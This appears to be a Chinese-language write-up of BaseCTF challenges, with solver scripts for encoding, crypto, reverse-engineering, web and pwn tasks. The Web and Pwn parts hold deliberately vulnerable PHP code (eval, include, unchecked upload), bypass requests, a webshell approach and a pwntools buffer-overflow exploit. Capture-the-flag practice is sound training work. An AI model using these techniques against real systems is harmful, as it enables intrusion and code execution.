MISC
Base
题目
KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======
题解
base32后base64
海上遇到了鲨鱼
题目
来看看网络鲨鱼吧
题解
流量包导出HTTP对象,在flag.php中可以看到逆序的flag。
根本进不去啊!
题目
悄悄告诉你: flag 在 flag.basectf.fun
进不去!怎么想都进不去吧?
域名解析除了可以解析到 IP,似乎也可以解析到一段文本,好像有个东西叫做 dig?
题解
跟据提示,使用dig命令找文本,查询给定域名的txt解析记录即可。
正着看还是反着看呢?
题目
从头走到尾?从尾走到头?
题解
根据提示,010editor打开,发现是逆序的jpg,用脚本先逆序回来。
# coding:utf-8
# author:Reborn
f1 = open('flag','rb+')
f2 = open('flag_new','wb+')
f2.write(f1.read()[::-1])
f1.close()
f2.close()
打开发现是一张普通图片,继续010editor,发现结尾有PK压缩包,binwalk分离,得到包含flag的压缩包。
人生苦短,我用Python
题目
Python写起来比C语言快多了,诶嘿~
题解
给了一段python代码,从上到下走即可补齐flag,具体见注释。
import base64
import hashlib
def abort(id):
print('You failed test %d. Try again!' % id)
exit(1)
print('Hello, Python!')
flag = input('Enter your flag: ')
# 38位
if len(flag) != 38:
abort(1)
# BaseCTF{@@@@@@@@@@@@@@@@@@@@@@@@@@@@@}
if not flag.startswith('BaseCTF{'):
abort(2)
# Mp在10位
# BaseCTF{@@Mp@@@@@@@@@@@@@@@@@@@@@@@@@}
if flag.find('Mp') != 10:
abort(3)
# 结尾是 3x}
# BaseCTF{@@Mp@@@@@@@@@@@@@@@@@@@@@@@3x}
if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
abort(4)
# 结尾是}
# BaseCTF{@@Mp@@@@@@@@@@@@@@@@@@@@@@@3x}
if ord(flag[-1]) != 125:
abort(5)
# _ 出现4次
if flag.count('_') // 2 != 2:
abort(6)
# 用_分隔后,分隔的5个串长度为 14, 2, 6, 4, 8
# BaseCTF{@@Mp@@_@@_@@@@@@_@@@@_@@@@@3x}
if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
abort(7)
# 从12位开始到32位,每隔4位取一个,得到结果。
# BaseCTF{@@Mpl@_@s_@@T@@@_@@@n_@@@@@3x}
if flag[12:32:4] != 'lsT_n':
abort(8)
# {后面第一个字符是S
# BaseCTF{S@Mpl@_@s_@@T@@@_@@@n_@@@@@3x}
if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
abort(9)
# 倒数11位是4
# BaseCTF{S@Mpl@_@s_@@T@@@_@@4n_@@@@@3x}
if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
abort(10)
# -7到-3 索引的字符为 0mPl
# BaseCTF{S@Mpl@_@s_@@T@@@_@@4n_@0mPl3x}
if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
abort(11)
# 从后往前隔7位是 }Crs1s
# BaseCTF{S1Mpl@_@s_@@T@@r_@@4n_C0mPl3x}
if flag[::-7].encode().hex() != '7d4372733173':
abort(12)
# 第12位是l 第23位是r
if set(flag[12::11]) != {'l', 'r'}:
abort(13)
# 21到27是 t3r_Th
# BaseCTF{S1Mpl@_@s_@@Tt3r_Th4n_C0mPl3x}
if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
abort(14)
# flag[17]*20240815^0+flag[18]*20240815+flag[19]*20240815²
# ord(flag[17]=95
# flag[18]*20240815+flag[19]*20240815²=41,378,751,114,180,515
# flag[18]+flag[19]*20240815=2044322381
# 2044322381/20240815=101.00000326073826572694824788429 取flag[19]为101进行测试。
# flag[18]=66 B flag[19]=101 e
# BaseCTF{S1Mpl@_@s_BeTt3r_Th4n_C0mPl3x}
# 可得到better单词,应该是对的
if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
abort(15)
# 0位是字母,8位是小写,13位是数字,猜测为3
# BaseCTF{s1Mpl3_@s_BeTt3r_Th4n_C0mPl3x}
if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
abort(16)
# 13位是3,15位是1
# BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}
if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
abort(17)
if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
abort(18)
print('🎉 You are right!')
import this
你也喜欢圣物吗
题目
鲁迪是个老hentai!
where_is_key.zip真的需要密码,再找找
看到假flag的同时,真flag已经出来了,再看看
题解
得到一个压缩包和一张图,图先010editor,发现结尾有一串base64,得到提示“DO_YOU_KNOW_EZ_LSB?”
直接上zsteg,可以得到 b1,rgb,lsb,xy .. text: "key=lud1_lud1"
用密码解开压缩包,得到新的压缩包。
新压缩包用了伪加密,把两个09 00改为00 00,但是会提示包损坏,因为09 00后面的08 00 压缩方式被改为00 00,改回08即可正常解压拿到flag。
Crypto
你会算md5吗
题目
import hashlib
flag='BaseCTF{}'
output=[]
for i in flag:
my_md5=hashlib.md5()
my_md5.update(i.encode())
output.append(my_md5.hexdigest())
print("output =",output)
'''
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
'''
题解
跟据题目代码,只是把flag中的字符计算md5,编写代码遍历爆破即可得到flag.
import hashlib
flag=""
output2 = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
for i in output2:
for j in range(33,127):
my_md5 = hashlib.md5()
my_md5.update(chr(j).encode())
if my_md5.hexdigest() == i:
flag+=chr(j)
break;
print(flag)
helloCrypto
题目
第一步,装好python;第二步,学会装库。
题解
题目给出了一个用ECB加密的代码,用给出的key和密文直接解密即可。
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
key=long_to_bytes(208797759953288399620324890930572736628)
my_aes=AES.new(key=key,mode=AES.MODE_ECB)
print(my_aes.decrypt(c))
十七倍
题目
只是把每个字符乘了 17 而已。
这题有四种预期解法❤
题解
题目给了一段C的代码,意思是他把flag中的每个字符*17之后得到cipher,但是因为C语言字符只有8位,超出的部分会被舍去,舍去后的结果与取256的模是一样的。
因此flag[i]=cipher[i]+n*256,通过遍历寻找这个n即可。
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
cipher=[98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77]
flag=""
for i in cipher:
for j in range(0,50):
temp=i+j*256
if temp%17==0:
temp=temp//17
if temp>=33 and temp<=127:
flag+=chr(temp)
break;
print(flag)
ez_rsa
题目
from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
e=65537
p=getPrime(512)
q=getPrime(512)
n=p*q
not_phi=(p+2)*(q+2)
c=pow(m,e,n)
print(n)
print(not_phi)
print(c)
n=96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
m=pow(c,d,n)
'''
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
'''
题解
题目给出n和(q+2)*(p+2)
not_phi=pq+2p+2q+4=n+2(p+q)+4
已知n可以求解p+q,然后求解phi=(p-1)(q-1)=pq-p-q+1
有了phi就可以求解d,然后解密即可。
from Crypto.Util.number import *
import gmpy2
e=65537
n=96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi=96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c=37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
#phi=(p-1)(q-1)=pq-p-q+1
#not_phi=pq+2p+2q+4
p_q=(not_phi-n-4)//2
phi=n-p_q+1
d = gmpy2.invert(e, phi)
print(d)
m=pow(c,d,n)
print(long_to_bytes(m))
babyrsa
题目
from Crypto.Util.number import *
flag=b'BaseCTF{}'
m=bytes_to_long(flag)
n=getPrime(1024)
e=65537
c=pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
"""
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
"""
题解
因为n是质数,所以phi=n-1,求d解密即可
from Crypto.Util.number import *
import gmpy2
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
phi=n-1
d = gmpy2.invert(e, phi)
m=pow(c,d,n)
print(long_to_bytes(m))
Web
HTTP 是什么呀
题目
成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式
看看你是怎么到达最后一个页面的,中途是不是经过了什么?
这一串乱码是什么呀。等下,比赛好像叫做 BaseCTF?
题解
跟据题目提示
构造请求报文,返回值中即可看到base64加密的flag
POST /?basectf=we1c%2500me HTTP/1.1
Host: challenge.basectf.fun:36479
User-Agent: Base
Referer: Base
X-Forwarded-For: 127.0.0.1
Cookie: c00k13=i can't eat it; Path=/; Expires=Wed, 20 Aug 2025 08:13:34 GMT;
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Base=fl%40g
A Dark Room
题目
文字游戏 玩得开心!
题解
审查源码可以看到flag
喵喵喵´•ﻌ•`
题目
小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习.....
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>
题解
通过DT传入shell,直接cat即可得到flag。
md5绕过欸
题目
绕哇绕哇绕
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}
}
else {
echo '没看到参数呐';
}
?> 没看到参数呐
题解
name和password是==的弱绕过,name2和md5是===的强绕过,都可以用数组一把梭,把传参全部加上括号变成数组,即可返回flag。
POST /?name[]=1&name2[]=1 HTTP/1.1
Host: challenge.basectf.fun:42528
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
password%5B%5D=2&password2%5B%5D=2
upload
题目
快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
题解
直接上传php文件,会反一段代码
<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];
if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
发现文件是直接原文件名放在Uploads下面,传一个webshell即可获取flag。
Aura 酱的礼物
题目
你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!
Aura 的博客似乎没有留言区?但是真的要去 Aura 的博客里面找吗?可以换个地方找吗?
哪里有感谢的一句话呢?远在天边,似乎就在眼前,就决定是他了吧!
为什么 Flag 是空的?不对劲,base64 一下再看看?
推荐搜索关键词: 伪协议,SSRF
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 这是 Aura 的礼物,你不是 Aura!
题解
第一个if是要给pen通过post传值,且值为内容是Aura的文件,用data协议data://text/plain,Aura
第二个if是比较challenge的值,传参challenge=http://jasmineaura.github.io即可。
第三个if是要求把challenge的值作为url打开,返回的值要包含“已经收到Kengwang的礼物啦”。
在博客里面没找到,github上面也提示用不到博客。实际上这句话就在题目本身里面,只要把challenge里面包括靶场地址就可以了,file_get_contents在解析URL的时候只会解析@符号后面的部分,因此可以用@把博客地址和靶场地址分隔开。
最后通过gift传参filter协议把flag.php进行base64输出即可得到flag
Reverse
You are good at IDA
题目
一个优秀的逆向手必须熟练掌握 IDA
(flag 自行补上 BaseCTF{}
,大括号内长度应为 19 个字符)
题解
用ida打开,得到first part:Y0u_4Re_
查找字符串,发现有“This is the second part”,交叉引用找到代码段。
int Second()
{
printf("This is the second part");
putchar(57);
putchar(48);
putchar(48);
putchar(100);
putchar(95);
putchar(52);
putchar(55);
putchar(95);
printf("Only the last part remains");
return printf("The last part is in a named Interesting's func");
}
得到第二部分:900d_47_ 以及提示:最后一部分在名为Interesting的函数里,定位函数得到全部flag。
int Interesting()
{
putchar(105);
putchar(100);
return putchar(52);
}
UPX mini
题目
什么是 UPX 呀?上网搜一下。
题解
放在die里面看一下,UPX加壳程序,直接upx -d脱壳。
脱壳之后放进ida,看到base64加密的flag。
ez_maze
题目
你会走迷宫吗
题解
又是迷宫题,老规矩把迷宫拖出来,15*15迷宫
x$$$$$$$$$$$$$$
&&&&&&$$$$$$$$$
&$&$$&$$&&&&&$$
&$&$$$&&$$$$&$$
&$$$&&&$$$$$&$$
&$$$&$&&$&$$$$$
&$$$&$&$$&&&$$$
&&&&&$&&&&$&$$$
$$$$$$&&&&&&$$$
$$$$$$&$$$$$$$$
$$$&&&&$$&&&$$$
$$$&&&&&&&$$$$$
$$$$$$$$$&$$&$$
$$$$$$$$$&$&$$$
$$$$$$&&&&&&&&y
从x到y的路径为:sssssssddddwwwddsssssssdddsssddddd
在ida里面可以定位到如下代码,因此flag就是走法的md5值小写。
seg000:00000000004040B8 aPlzBasectfLowe db 'plz BaseCTF{lower.MD5{your path}} by 32bit',0
Ez Xor
题目
你懂异或吗
题解
最终正确的flag要经过CheckFlag(v5, Str, v18),str是给定的一个字符串,v18是Str的长度。
看一下ChecFlag函数。
__int64 __fastcall CheckFlag(__int64 a1, __int64 a2, int a3)
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < a3; ++i )
{
if ( *(_BYTE *)(a1 + i) != *(_BYTE *)(a2 + i) )
return 0i64;
}
return 1i64;
}
就是一个比较函数,要返回真则a1[i]=a2[i],因此v5就是Str。
在check之前,v5经过encrypt(&v15, v5, v20) 进行加密,v20是28,看一下encrypt
signed __int64 __fastcall encrypt(__int64 a1, __int64 a2, int a3)
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < a3; ++i )
*(_BYTE *)(a2 + i) ^= *(_BYTE *)(a3 - i - 1i64 + a1);
return 1i64;
}
v5的每一位都与28-i-1+v15,即v15[27-i]进行异或。
v15是0经过KeyStream((__int64)&v4, (__int64)v15, 28);函数变化而来,v4 = 'Xor';
signed __int64 __fastcall KeyStream(__int64 a1, __int64 a2, int a3)
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < a3; ++i )
*(_BYTE *)(a2 + i) = i ^ *(_BYTE *)(a1 + i % 3);
return 1i64;
}
v15[i]=i^Xor[i%3]
至此,可以写逆向python脚本先求v15,v5=str[i]^v15[27-i]
*(_QWORD *)Str = 0x1D0B2D2625050901i64;
v11 = 0x673D491E20317A24i64;
v12 = 0x34056E2E2508504Di64;
strcpy(v13, "\"@;%");
从后向前,每两位取数,然后拼接三个变量,得到str
完整python代码
temp=[]
v4=['X','o','r']
for i in range(0,28):
temp.append(i ^ ord(v4[i%3]))
str=[1,9,5,37,38,45,11,29,36,122,49,32,30,73,61,103,77,80,8,37,46,110,5,52,34,64,59,37]
flag=""
for i in range(0,28):
flag+=chr(str[i]^temp[27-i])
print(flag)
BasePlus
题目
BaseCTF cannot be without Base
题解
ida反编译,发现是将输入的字符串encode之后与“lvfzBiZiOw7aD!”进行比较。
进入encode,发现是使用secret串加密,最后再和0xE做异或运算。
secret串是“/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC”,是ATOM-128加密。因此先把“lvfzBiZiOw7aD!”与0xE做异或得到加密后的串,然后使用Atom-128解密即可。
http://qbarbe.free.fr/crypto/eng_atom128c.php
放一个base64变种的通用脚本,用此脚本同样可以解出flag。
import base64
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2"
hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5"
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
class B64VariantEncoder:
def __init__(self, translation):
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
self.lookup = dict(zip(base, translation))
self.revlookup = dict(zip(translation, base))
def encode(self, text):
global lookup
b64 = base64.b64encode(text)
result = "".join([self.lookup[x] for x in b64])
return result
def decode(self, code):
global revlookup
b64 = "".join([self.revlookup[x] for x in code])
result = base64.b64decode(b64)
return result
def encode(variant, text):
encoder = B64VariantEncoder(variant)
return encoder.encode(text)
def decode(variant, code):
try:
encoder = B64VariantEncoder(variant)
return encoder.decode(code)
except KeyError:
return "no valid encoding"
except TypeError:
return "no correct padding"
print("type in your string to encode/decode")
text = input()
print("encode (1) or decode (2)?")
option = input()
if option == "1":
print("base64:", encode(base, text))
print("atom128:", encode(atom128, text))
print("megan35:", encode(megan35, text))
print("hazz15:", encode(hazz15, text))
print("zong22:", encode(zong22, text))
elif option == "2":
print("base64:", decode(base, text))
print("atom128:", decode(atom128, text))
print("megan35:", decode(megan35, text))
print("hazz15:", decode(hazz15, text))
print("zong22:", decode(zong22, text))
else:
print("no valid option")
Pwn
echo
题目
binsh目录下只有echo? echo flag??
题解
只能用echo命令,通过$符号访问即可。echo $(/flag)
Ret2text
题目
原来栈是可以溢出的!
题解
read函数读取了100个字节给buf,可以用来构造溢出。
buf的长度为32,s为8,r为8,若要修改r,就要填充32+8个前导字符,随后在r传入要调用的地址。
存在dt_gift函数,直接返回shell,调用该函数即可,注意此处调用的地址总是没搞对,应该调用call前面的lea,即4011BB,否则会EOF。
from pwn import *
p = remote("challenge.basectf.fun",25591)
payload = b'a' * 32+ b'a' * 8 + p64(0x4011BB)
p.send(payload)
p.interactive()
文章评论